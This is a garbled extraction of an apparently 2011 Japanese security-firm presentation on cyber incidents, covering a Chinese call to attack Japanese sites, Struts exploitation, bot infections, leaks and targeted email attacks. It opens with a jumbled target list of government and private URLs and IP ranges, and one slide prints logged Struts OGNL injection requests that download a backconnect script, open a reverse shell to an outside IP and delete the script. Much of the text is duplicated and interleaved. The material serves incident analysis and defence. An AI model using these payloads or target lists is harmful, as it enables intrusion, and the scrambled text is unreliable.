http://www.motnet.go.jp运输省
なければならなくて、核心はグループの成員に侵入してその他の方法を使って侵
月森雅子
http://kobe.cool.ne.jp/tukimori/219.160.0.0--219.215.255.255 小日本的网站202.032.000.000－
202.035.255.255[日本][]
Yamagata http://www.pref.yamagata.jp/index-e.html
罗川真里茂
http://www.ragawa.co.jp/
折原美都
http://www.mitorin.com/
http://www.kaiho.motnet.go.jp海上保安厅
入します！ツールは内部が専用です！
202.048.000.000－
202.048.255.255[日本][]
麻宫骑亚&菊池通隆 http://www.tron.co.jp/
真锅主治
http://www.katsudon.com/
Yamaguchi http://www.pref.yamaguchi.jp/index_e.htm
http://www.kishou.go.jp气象
私達の前の段階計画と準備を見て、そして私達のグループに参加して、それぞれ
猫十字社
http://neco.cside5.com/
202.208.000.000－202.255.255.255[日本][]
真崎春望
http://www.geocities.co.jp/Bookend/7973/
Yamanashi http://www.pref.yamanashi.jp/english/english.html
末次有纪
http://www.ne.jp/asahi/ys/sanbankan/
木真村怜
http://www.hh.iij4u.or.jp/~fcs/
隊に戦うことと記録に載せます!
長期にわたり対象がそうなことを攻撃します；米 ，
http://www.mpt.go.jp邮政省202.176.000.032－
202.176.000.063[日本][]
木城雪户
http://yukito.com/
织田绮
http://www13.u-page.so-net.ne.jp/jk9/aya-sato/
202.176.000.064－ 202.176.000.127[日本][]
日 ，インドネシア、インド、ベトナム、フィリピン。政府の核心の群の27437332
招待
http://www.mol.go.jp劳动省
木木
http://www.d9dion.ne.jp/~kanalin/
中平正彦
http://www.bekkoame.ne.jp/~n-masahiko/202.176.000.128 －202.176.000.255[日本][]
内藤泰弘
http://www.din.or.jp/~nightow/
http://www.moc.go.jp建设省
中山星香
http://www.nerimadorhouse.jp/
は制に参加します楠桂&大桥薰
http://www.ngy1.1st.ne.jp/~k2office/202.176.001.000－202.176.001.255[日本][]
中条比纱也
http://www.wild-vanilla.com/
http://www.mha.go.jp自治省
片山悉
http://homepage2.nifty.com/garasu-no-tsuki/
猪熊忍
http://saladplanning.hotspace.jp/
202.176.002.000－
202.176.003.255[日本][]
平井摩利
http://genie.gaiax.com/home/payoco
http://www.fdma.go.jp消防厅
エキサイト翻訳竹官惠子
http://www.mac-time.ne.jp/takemiya/
203.136.000.000 －203.141.255.255[日本][]
七濑葵
http://www.aoinanase.gr.jp/
椎名高志
http://www.ne.jp/asahi/cna100/store/index.html
http://www.jbaudit.admix.go.jp会计检查
漆原智志
http://www.earthwork.ne.jp
203.178.000.000－ 203.183.255.255[日本][]
佐野真砂辉&渡边京
http://www.twincastle.com/
青池保子
http://www.aoike.gr.jp/
210.007.128.000－ 210.007.255.255 [日本][]

もともと節度
もともと節度のない
節度のないピックアップのないピックアップ。
ピックアップ。
簡単に簡単に言うとカモフラージュなのか
カモフラージュなのか？
なのか？

秋の連休・
連休・家族サービス
家族サービス
2010年9月18日にかんがみてはこれが意義の日
をつぶし、
ITインフラ関係をつぶし、ITインフラ
インフラ関係の決定が日本に対してそれぞれ大いに抗日戦争の歴史に
家庭不和を誘発し誘発し、ねじ曲がることを記念 者の家庭不和を
国力を
国力を落とすための作戦とすための作戦か？などと妄想などと妄想。
妄想。

海外の海外の掲示板に掲示板に、攻撃を
攻撃を呼び
掛ける情報
ける情報が
情報が乗ったということ。
ったということ。

１．こいつらは誰
こいつらは誰なのか？
なのか？
２．狙いは？
いは？
３．本気なのか
本気なのか？
なのか？
４．実力はあるのか
実力はあるのか？
はあるのか？

日本国の
日本国の見立てはどうだったのか
見立てはどうだったのか？
てはどうだったのか？

「中国 サイバー攻撃
サイバー攻撃」
攻撃」と、主に日本のそれぞれ大きい
かで、
TLを追っ
かで、Twitter TLを
幹線のルータと各大きすぎる行政権力のことと商業のウェ
ていると。
。
多
くの注意喚
注意喚
ていると
くの
ブサイトに半身不随になること起へのつぶやきが。
へのつぶやきが。
日本のサーバーに半身不随になって、データを削除

最高機密で最高機密で構わないけど、わないけど、

私が内部関係者に
内部関係者に言っていたこと。
っていたこと。

→ 騒ぐな。
。レベルのぐな
機密をを守り、実施機密
大体、
大体、毎年ある毎年あるイベント
ある
どのレベル
のイベント
インテリジェンスででどのレベル
インテリジェンス
に全体力を全体力を使ってバカってバカなことする輩なことする輩はいない。
はいない。

できるのだろうか？
できるのだろうか？

とすれば、単なるあほな
そういう全体作戦行
そういう全体作戦行動とすれば、
いていたのだろうか？
？
いていたのだろうか
愉快犯か
愉快犯か、調査のため
調査のため
動は、誰がどう取がどう取るの煽りと攻撃りと攻撃。
攻撃。

のだろうか？
のだろうか？

19

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liそう言
そう言えば９１８
えば９１８ そうこうしてる間
そうこうしてる間に

20

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

そう言
そう言えば９１８
えば９１８ そうこうしてる間
そうこうしてる間に

こんなことも21

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liそう言
そう言えば９１８
えば９１８ そうそう、
そうそう、当該期間に当該期間に、、
Tomcat上のStrutsの脆弱性を狙い
バックドアを仕込み、ルートキットをインストールして行った事案が。

脆弱性情報：
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1870
http://struts.apache.org/2.2.1/docs/s2-005.html
攻撃例：

"GET
/XXX/XXXXX.action?XXXX=ja?('¥¥u0023_memberAccess[¥¥'allowStaticMethodAccess¥¥']')(meh)=true&(aaa)(('zz')(('¥¥u0023co
ntext[¥¥'xwork.MethodAccessor.denyMethodExecution¥¥']¥¥u003dfalse')(x))(zzxx))&(asdf)(('¥¥u0023rt.exec(¥¥'wget%20hogeho
ge.org/tool/backconnect.txt%20-O%20./bc.pl¥¥')')(¥¥u0023rt¥¥u003d@java.lang.Runtime@getRuntime()))=1
HTTP/1.1" 200 549※wgetコマンドでhogehoge.org/tool/backconnect.txtをダウンロードし、bc.plという名前で保存

これは？
これは？
チョイやばかもチョイやばかも。
やばかも。

"GET
/XXX/XXXX.action?XXXX=ja?('¥¥u0023_memberAccess[¥¥'allowStaticMethodAccess¥¥']')(meh)=true&(aaa)(('zz')(('¥¥u0023context[¥¥'xwork.MethodAccessor.denyMethodExecution¥¥']¥¥u003dfalse')(x))(zzxx))&(asdf)(('¥¥u0023rt.exec(¥¥'perl%20./bc.pl%20
116.XXX.XXX.241%2021¥¥')')(¥¥u0023rt¥¥u003d@java.lang.Runtime@getRuntime()))=1
HTTP/1.1" 200 549※perlのプログラムbc.plを実行し、IPアドレス116.XXX.XXX.241（中国）の21/tcpに対してコネクトバックシェル を開く"GET/XXX/XXXX.action?XXXX=ja?('¥¥u0023_memberAccess[¥¥'allowStaticMethodAccess¥¥']')(meh)=true&(aaa)(('zz')(('¥¥u0023context[¥¥'xwork.MethodAccessor.denyMethodExecution¥¥']¥¥u003dfalse')(x))(zzxx))&(asdf)(('¥¥u0023rt.exec(¥¥'rm%20f%20./bc.pl¥¥')')(¥¥u0023rt¥¥u003d@java.lang.Runtime@getRuntime()))=1
HTTP/1.1" 200 549※bc.plの削除

22

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

情報漏えい対応で分かること
個人情報漏えい
個人情報漏えい事件
えい事件で事件で浮かび上
かび上がった事実
がった事実
WebサーバWebサーバのサーバのログを
ログを解析すると
解析すると、、、
すると、、、リファラ、、、リファラ（リファラ（リンク元
リンク元）のフィールドにフィールドに。
http://www.baidu.jp/s?lm=0&si=&rn=100&ie=utf8&ct=262144&wd=inurl%3Aphp+%E6%94%AF%E6%89%95+visa+jcb&：
支払
pn=200&cl=3&usm=0&ys=1”

①

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

犯人の行動 ①① 百度で検索→ JCB VISA 支払 inurl:php
日本狙い？
自分のサイトがどのように出るかチェックしておこう！

24

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

犯人の行動からわかること
正当な正当な利用者も利用者も攻撃者も攻撃者も接点は
接点は検索エンジン
検索エンジン
どういう検索どういう検索キーワード
検索キーワードでキーワードで、自サイトをサイトを訪れたのか？
れたのか？ → 訪問目的 ？
SEO対策
対策は、セキュリティのセキュリティの観点でも観点でも極でも極めて重要
めて重要。
重要。
SEO対策は利用者に利用者に興味を興味を持たせ、
たせ、攻撃者に攻撃者に興味を興味を持たせない、
たせない、SEO対策
対策。
SEO対策。
みんな、
みんな、脆弱性をなくそうとかあらゆる脆弱性をなくそうとかあらゆる脅威をなくそうとかあらゆる脅威から脅威から防から防ごうとかいうけど、ごうとかいうけど、
その前
その前に、

見た目が勝負！
勝負！
25

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

大量サイト
大量サイトのサイトの改ざん被害報道
ざん被害報道
広告サイト
広告サイトがサイトが改ざん

幕の内弁当サイト
内弁当サイト
広告、広告、ブログツール、
ブログツール、サイト統計
サイト統計など
統計など
利用者からみれば利用者からみれば、からみれば、当該サイト
当該サイト。
サイト。
相当、相当、
理屈としては理屈としては背後としては背後にある背後にある圧力がかかっている
圧力がかかっている？
がかかっている？
提供側サイト
提供側サイトのサイトの問題だが問題だが、だが、それで良それで良いのか？
いのか？

利用者への
利用者への責任
への責任は
責任は誰に？

26

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Liある緊急対応ある緊急対応パソコンがパソコンが不審な
不審な動作をしたということで動作をしたということで１１９をしたということで１１９コール
１１９コール。
コール。
調査をしてみると調査をしてみると。
をしてみると。不審な不審なファイルがファイルが。
大手量販店サイトのキャッシュ

ウイルス関連ウイルス関連ファイル
関連ファイル

大手量販店
サイトへ
アクセス

９月２４日
２４日・２５日
２５日で
終結では
終結では？
では？

悪性サイト接続時のクッキー

スクリプトにより悪性サイトに誘導
恐らく、
スクリプトは削除

所謂、ボットタイプのコンピュータウイルス
パスワードの盗聴など

生成日時

JAVAの脆弱性をついて侵入
悪性プログラムの
ダウンロード

ボット感染

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

ある緊急対応
別の１１９コール
１１９コール。
コール。調査をしてみると調査をしてみると。
をしてみると。
やはり同様
やはり同様の同様の不審な
不審なファイルがファイルが。

大手雑誌サイト大手雑誌サイトの
サイトのクッキー

Fri Oct 08 2010 10:08:48 .a.. C:/Documents and Settings/XXXXXX/Cookies/XXXXXX@nikkeibp.co[1].txt
Fri Oct 08 2010 10:08:51 .a.. C:/Documents and Settings/XXXXXX/Cookies/XXXXXX@cgi-bin[2].txt
ma.b C:/Documents and Settings/XXXXXX/Cookies/XXXXXX@64.27.25[2].txt

同様の
同様の
悪性サイト
サイト
悪性
接続時の
接続時の
クッキー！
クッキー！

？？？
大手雑誌
サイトへ
アクセス

スクリプトにより悪性サイトに誘導
恐らく、
スクリプトは削除

JAVAの脆弱性をついて侵入
悪性プログラムの
ダウンロード

ボット感染

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

調査してみると調査してみると
http://secure-jp.imrworldwide.com/

Not Found
The requested URL / was not found on this server.

http://en-us.nielsen.com/content/nielsen/
en_us/product_families/nielsen_netratings.html「ルパンをルパンを追っていたら、っていたら、
とんでもないものを見とんでもないものを見つけてしまった。
つけてしまった。

http://www.imrworldwide.com/

どうしよう？
どうしよう？」
銭形のとっつぁん
銭形のとっつぁん in カリオストロの
カリオストロの城

http://www.netratings.co.jp/
Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

ある緊急対応ある緊急対応ある緊急対応要請
ある緊急対応要請あり
緊急対応要請あり。
あり。
サイト改
サイト改ざんを受
ざんを受けたらしい。
けたらしい。サイトオーナがサイトオーナが確認するも確認するも見するも見つからず。
つからず。
同じようなケース
じようなケースがケースが何件かあり
何件かあり、
かあり、確認してみると確認してみると、してみると、意外なことが意外なことが。
なことが。
無害な
無害な応答で応答で脅威の脅威の発見を発見を遅らせている？
らせている？

仕込みと仕込みと実行
みと実行は
実行は
分けている
可能性もある
可能性もある

検索エンジン
検索エンジンは
エンジンは無害な
無害な応答で応答で。

地域？
地域？環境？
環境？
無害な
無害な応答しか応答しか出さないことも。
さないことも。

無害な無害な応答

検索エンジンエンジン

偽セキュリティソフトだけが騒だけが騒がれる！
がれる！
何故？
何故？わざとか？
わざとか？

悪性サイト
悪性サイト

偽セキュリティソフトや
セキュリティソフトやボットなど
ボットなど、など、相手によって相手によって切り替えている
可能性あり
可能性あり。
あり。

改ざんされたWeb
サイト

無害な
無害な応答

無害な
無害な応答

閲覧者C

攻撃コード
攻撃コードB
コードB

閲覧者B
閲覧者B
二回目

閲覧者A
攻撃コード
攻撃コードA
コードA

30

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

あと大変気
あと大変気になること大変気になること
この悪性
この悪性プログラム
悪用する脆弱性
悪性プログラムがプログラムが悪用するする脆弱性 CVECVE-20082008-5353
The Java Runtime Environment (JRE) for Sun JDK and JRE 6 Update 10
and earlier;earlier; JDK and JRE 5.0 Update 16 and earlier;earlier; and SDK and JRE
1.4.2_18 and earlier does not properly enforce context of ZoneInfo objects
during deserialization, which allows remote attackers to run untrusted
untrusted
applets and applications in a privileged context, as demonstrated
demonstrated by"deserializing Calendar objects".

バージョンチェッカがバージョンチェッカがJREをJREを使用している。
している。JREのJREのバージョンをチェックしたいのだからチェックしたいのだから問題したいのだから問題ないか？
ないか？いやいや、
いやいや、もともと使
もともと使
用してなければ、してなければ、わざわざ脆弱
わざわざ脆弱点を増やすことにもなるぞ。
やすことにもなるぞ。

最新版（6 Update 22）22）にアップデート

MyJVN バージョンチェッカ
http://jvndb.jvn.jp/apis/myjvn/vccheckhelp.html
31

JREは
JREは多くの組織
くの組織の組織の社内シス社内シス
テムでで使用されているテム
使用されている。
されている。パッ
ケージソフトにもケージソフトにも使用にも使用している
使用しているものがある。
JREの新版にものがある。JREの新版に対応してないケース
JREをしてないケースもありケースもあり、もあり、JREを最新に最新に出来ないことも出来ないことも。
ないことも。
Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li参考：
参考：メディアのメディアの使用している
使用しているスクリプト
しているスクリプト

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

尖閣ビデオ
尖閣ビデオ流出事件
ビデオ流出事件

関係者外秘

いつも、
いつも、こういう任務
こういう任務をやられ任務をやられているのですね！
ているのですね！
本当に本当に、ご苦労様です
苦労様です！！
です！！
映像提供 第１１管区海上保安本部
１１管区海上保安本部※ http://www.youtube.com/watch?v=6VIuqeyoyHc
33

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

尖閣ビデオ
尖閣ビデオ流出事件
ビデオ流出事件 ビデオ映像
ビデオ映像の映像の管理を管理を考えてみる
ビデオ映像
ビデオ映像の映像の特徴
１．大容量である
大容量である。
である。
２．受け手により、により、受け取り方が異なる。
なる。
→ 文字とは文字とは違とは違う
３．様々な目的で目的で使用される
使用される。
される。
→ 記録、記録、訓練、
訓練、報道、
報道、証拠、証拠、外交真正性担保と真正性担保とCIA（
機密性・
CIA（機密性・完全性・完全性・可用性）
可用性）
強烈な
強烈な動機がある
動機がある

動機として
動機として
興味、
興味、愉
快

キャンペーン相手
キャンペーン相手は
相手は事前に事前に知りたい。
りたい。
メディアのメディアの競争。
競争。
インサイダーはインサイダーは？

強烈な
動機がある
強烈
な動機
がある
PR
外部 無効化・
無効化・PR
内部 内部告発・
内部告発・メディア
キャンペーン
買収・
買収・内通

真正性は
真正性は担保出来ていたのか
担保出来ていたのか？
ていたのか？
守りきれる自信
りきれる自信があったのか
自信があったのか？
があったのか？

プロセス・プロセス・記録・
記録・根拠
内部・
内部・外部

私物の
私物のUSBメモリ
メモリにコピーしてコピーして持して持ち出し、インターネット喫茶
インターネット喫茶から
喫茶から投稿
から投稿。
投稿。
USBメモリに→ 匿名性を
匿名性を担保し担保し法律を
法律を抜けている。
けている。権限保持者の権限保持者の思想犯をどうするか
思想犯をどうするか？
をどうするか？
34

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

警視庁公安部外事３
警視庁公安部外事３課の内部資料流出なるほど、を使用したのかなるほど、ばれないためにTOR
ばれないためにTORを使用したのか。
したのか。また、
また、人に告知するのに告知するのにオンライするのにオンライ
ンストレージかンストレージか。ひょっとすると最初
ひょっとすると最初の最初の持ち出しも？？？？
しも？？？？
http://www.asahi.com/national/update/0103/TKY201101030295.html
35

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

話題のWikileaks
疑問点 日本での日本でのミラーサイト
でのミラーサイトは
ミラーサイトは違法なのか
違法なのか？
なのか？
Wikileaksへの投稿
への投稿
はTORの使用が使用が推奨されているらしい。
されているらしい。

25万件
万件のデータって
データって
25万件の
紙だと、
だと、
100枚
100枚で1cmとすると1cmとすると２５万
２５万ページは
ページは25m

高々、3.3GB々、3.3GB
１ｃ㎡のUSBメモリでｃ㎡のUSBメモリ
メモリで持ち出し可能。
可能。
Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 LiTOR（The Onion Routing）
身元を隠したいパソコン

TORリレーサーバー群
P2P技術を応用した、
匿名クラウドネットワーク

クライアントアプリケーション

ブラウザ、
ブラウザ、SSHなど
など
プラグイン

TOR
（ローカルプロクシ）
ローカルプロクシ）

リレー
317
リレー
822

暗号
平文
リレー
525

リレー
1010

リレー
214

適時変更

リレー
928
リレー
103

リレー
528

リレー
926

リレー
205
リレー
1208

リレー
108

リレー
418

身元を隠す手段玉ねぎ道案内？？

http://213.251.145.96/
37

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

制御システム
制御システムもシステムもクローズな環境への侵入と制御を示し
データの持ち出しなどへの可能性を示唆した。
また、国家関与の可能性示唆。

38

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

ソーシャルメディアのソーシャルメディアの威力
http://jp.wsj.com/World/China/node_186001

中東諸国の
中東諸国の情勢
ソーシャルメディアがソーシャルメディアが民主化を
民主化を後押ししている
後押ししている。
ししている。

ソーシャルメディアインパクト。
ソーシャルメディアインパクト。
http://www.computerworld.jp/topics/move/190542.html
39

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li一つの考察つの考察 サイバーテロ？？？？
サイバーテロ？？？？
http://www.yomiuri.co.jp/world/news/20110304-OYT1T01026.htm

40

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

一つの考察
つの考察 サイバーテロ？？？？
サイバーテロ？？？？
http://www.asahi.com/international/update/0503/TKY201105030387.html

41

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型サイバー
標的型サイバー攻撃
サイバー攻撃弊社サイバー
弊社サイバー救急
サイバー救急センター
救急センターにセンターに寄せられた、
せられた、
標的型と
標的型と推測される
推測される、
される、最近の
最近の相談
２００８年
２００８年 ４件 Web改ざん、USBメモリ
メモリ、メール
Web改ざん、USBメモリ、
金融系、
金融系、放送メディア
放送メディア、
メディア、公益法人、
公益法人、情報通信
２００９年
２００９年 ５件 USBメモリ
メモリ、メール
USBメモリ、製造、製造、エンターテイメント、
エンターテイメント、情報通信
２０１０年
２０１０年 ６件 メール
製造、製造、情報通信、
情報通信、エンターテイメント
２０１１年
２０１１年 ４件 メール
製造、製造、エンターテイメント
42

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール … 狙いは政治家
いは政治家・
政治家・官庁

43

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール … 狙いは一般企業
いは一般企業
アクロバットリーダー バッファオーバーフローの脆弱性（CVE-2010-2883）で2010-09-14 ゼロデイとして公開

44

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール … 狙いは一般企業
いは一般企業45

総務部長、人事部長

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール … 狙いは一般企業
いは一般企業46

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール 解析してみると解析してみるとNo.

内容

送信元（詐称）

備考

1

人事異動

総務部

公開情報であることが多い

2

業務執行体制の改正

総務部

公開情報であることが多い

3

IR 情報

広報

公開情報であることが多い

4

目標・評価表総務部

5

こども手当て総務部

6

イベント等の案内

公益法人

7

機密管理

総務部 / 役員8

海外ニュース

取引先

公開情報であることが多い

9

議事録

取引先 / 従業員

メールが盗聴されている可能性あり

公開情報であることが多い

47

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール ウイルス対策
ウイルス対策ソフト
対策ソフトの
ソフトの反応

当該組織が当該組織が使用している
使用している対している対策では、では、防御できないことを防御できないことを確認していると確認していると推測していると推測される
推測される。
される。
（だから標的型
だから標的型）
標的型）
48

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール ウイルス対策
ウイルス対策ソフト
対策ソフトの
ソフトの反応49
49

CVECVE-20102010-3333（
3333（MS Office Word のセキュリティホール）セキュリティホール）※ RTF のスタック バッファ オーバーフローのオーバーフローの脆弱性

Virustotalのスキャン結果
スキャン結果：結果： 1/41（3月22日付）
日付）
Officeファイル
Officeファイルのファイルの解析ツール
解析ツール：
ツール： 未対応※RTF（
RTF（リッチテキストフォーマット)
リッチテキストフォーマット) が利用
CVECVE-20092009-3129（
3129（MS Office Excel のセキュリティホール）セキュリティホール）CVECVE-20092009-0927（
0927（アクロバットリーダー getlcon関数処理
getlcon関数処理の関数処理の脆弱性）
脆弱性）
比較的検知率は
比較的検知率は高かったため、かったため、発見は
発見は早かった。
かった。

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

ウイルス対策
ウイルス対策ソフト
対策ソフトは
ソフトは有効ではないのか
有効ではないのか？
ではないのか？

ウイルス対策
ウイルス対策ソフト
対策ソフト ＝ウイルスに
ウイルスに有効
標的型攻撃での標的型攻撃での不正での不正プラグラム
不正プラグラムを
プラグラムを、→ ウイルスとウイルスと呼んではいけない。
んではいけない。
ウイルス対策
ウイルス対策と対策と 標的型攻撃の標的型攻撃の対策は対策は→ 根本的に根本的に異なる
経営者に経営者に対して→ 異なった脅威
なった脅威であることの脅威であることの理解であることの理解
50

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型攻撃 メールだけなのか
メールだけなのか？
だけなのか？

標的型攻撃＝
標的型攻撃＝メール は大間違い
大間違い
メールは
メールは、内部に
内部に「入る為の手段」。
手段」。
手段は
他の手段
は、、、
パソコンに
パソコンに対して、、、
して、、、→ USBメモリ、
メモリ、改ざんサイト
ざんサイト閲覧
サイト閲覧
サーバにサーバに対して→ SQLインジェクション他
インジェクション他 様々
51

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール 手順（
手順（推測）
推測）
１．Webや
ネットでの公開情報
での公開情報 氏名・氏名・役職・
役職・メールアドレスなど
メールアドレスなど取得など取得する
取得する。
する。
Webやネットでの２．公益法人などの公益法人などの外部文書などの外部文書や外部文書や時事関連文章などを
時事関連文章などを使用などを使用して使用してメール
してメール送信
メール送信する
送信する。
する。
→標的型メール
標的型メールは
メールは全て把握しているという把握しているという妄信しているという妄信があり妄信があり、があり、安心している
安心している。
している。
→ウイルス対策
ウイルス対策ソフト
対策ソフトへのソフトへの過信
への過信もある
過信もある。（
もある。（標的型。（標的型であることを標的型であることを意識であることを意識できていない
意識できていない）
できていない）→脆弱性管理、
脆弱性管理、OS、
ブラウザ、PDF、
フラッシュ、JREなど
OS、ブラウザ、PDF、フラッシュ、
JREなど→ たかがウイルス
たかがウイルスとウイルスと思っている。
っている。

３．内部構成を
内部構成を調査し調査し関連情報を
関連情報を手に入れる。
れる。
ネットワーク構成
ネットワーク構成、構成、アカウント管理方法
アカウント管理方法、
管理方法、サーバ配置
サーバ配置など
配置など
４．アカウント情報
アカウント情報・
パスワード窃取。
管理者権限の獲得を獲得を目指す目指す。
情報・パスワード窃取窃取。特に管理者権限の例えばアクティブディレクトリ認証）、
えばアクティブディレクトリ（＋
アクティブディレクトリ（＋LM（＋LM認証認証）、キーロガー）、キーロガーのキーロガーの使用など
使用など
５．渡っていくうちに、っていくうちに、手に入れた本物
れた本物の本物の内部文書を
内部文書を使用した
使用した標的
した標的メール
標的メール（役員などを
役員などを名乗などを名乗る名乗る）で、さらに侵入範囲
さらに侵入範囲を
侵入範囲を広げる。
げる。
６．複数の複数の予備経路を
予備経路を確保する
確保する。
する。（利便性の利便性の確保と確保と気付かれた
気付かれた時かれた時のためと推測のためと推測される
推測される）
される）
７．当該組織専用プログラム
当該組織専用プログラムもプログラムも作成し作成し使用している
使用している。
している。
（調査や調査や情報窃取の
情報窃取の生産性向上策と生産性向上策と推測される
推測される。）
される。）
８．内部ネットワーク
内部ネットワークを
ネットワークを制圧し制圧し、内部文書の内部文書の窃取を窃取を行う。
52

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型攻撃の標的型攻撃の本質 ＝ 内部システム
内部システムがシステムが乗っ取られ操作
られ操作される
操作される！
される！

悪質サイト
悪質サイト
他
改ざんWeb経由
USBメモリもある。

自動インストール

誘導

閲覧
クリック
標的メール
標的メールを
メールを閲覧した
閲覧した
パソコン

被害にあった
被害にあった企業にあった企業

命令

お伺い

C&C

命令

Aゾンビ

C&C
お伺い

予備機

ダイナミックDNS
ダイナミックDNSがDNSが使用されることが使用されることが多されることが多い
ezua.comzyns.com
ns2.name
livecheck.org
acmetoy.com
toh.info
2waky.com
ibmnetvista.com
xxuz.com
myfw.us
2waky.com などなど

Firewall

手動インストール

情報窃取

Bゾンビ

予備機

内部の
内部のネットワーク調査
ネットワーク調査
パスワード収集
パスワード収集などなど
収集などなどリモート制御リモート制御53

Firewall

犯人

仕込まれた
仕込まれた
標的型
メール

内部サーバ
内部サーバ

内部ネットワーク
内部ネットワークがネットワークが
制圧される
制圧される
Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型メール
標的型メール 流出情報
パスワードファイル→
パスワードファイル→持ち出し後、LM ハッシュのハッシュの問題を
問題を悪用し悪用しパスワードを
パスワードを解析され解析され行使され行使

流出ファイル
流出ファイル例
ファイル例

組織内部情報が組織内部情報がハードコーディングされたハードコーディングされた不正
された不正プログラム
不正プログラム

当該企業の競争力基盤となる技術ノウハウと考えられる情報の流出。

当該組織のドメイ
ン名称がハード
コーディングされ
ている。

54

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型攻撃で狙われた情報
１．技術情報輸送機器関係
２．大型投資情報
インサイダー？ 国家的？
55

Copyr
Copyright
ight ©
Littttle
le eAreArththCorporat
Corporation
ionCoCo.,.,Ltd
Ltd..
©2011
2011 Li

標的型サイバー
標的型サイバー攻撃
サイバー攻撃の攻撃の課題 現場の現場の実態
１．脆弱性管理が脆弱性管理が出来ていない
出来ていない → 「閉塞域だから閉塞域だから大丈夫だから大丈夫」
大丈夫」が崩壊。
崩壊。
Windowsにしては向上している
向上している。
している。アドビーアクロバット、
アドビーアクロバット、フラッシュ → 通達はしてい通達はしていWindowsに関しては向上るものの守守ってはいないこともるもののってはいないことも多ことも多い。JREにしては内部システム
内部システムでシステムで使用されており使用されており、されており、そ
JREに関しては内部もそもバージョンアップ
もそもバージョンアップがバージョンアップが困難である
困難である。
である。
２．緊急時に
緊急時に行動できる
行動できる体制
できる体制がない
体制がない。
がない。 → 縦割り
縦割り。事故未前提。
事故未前提。
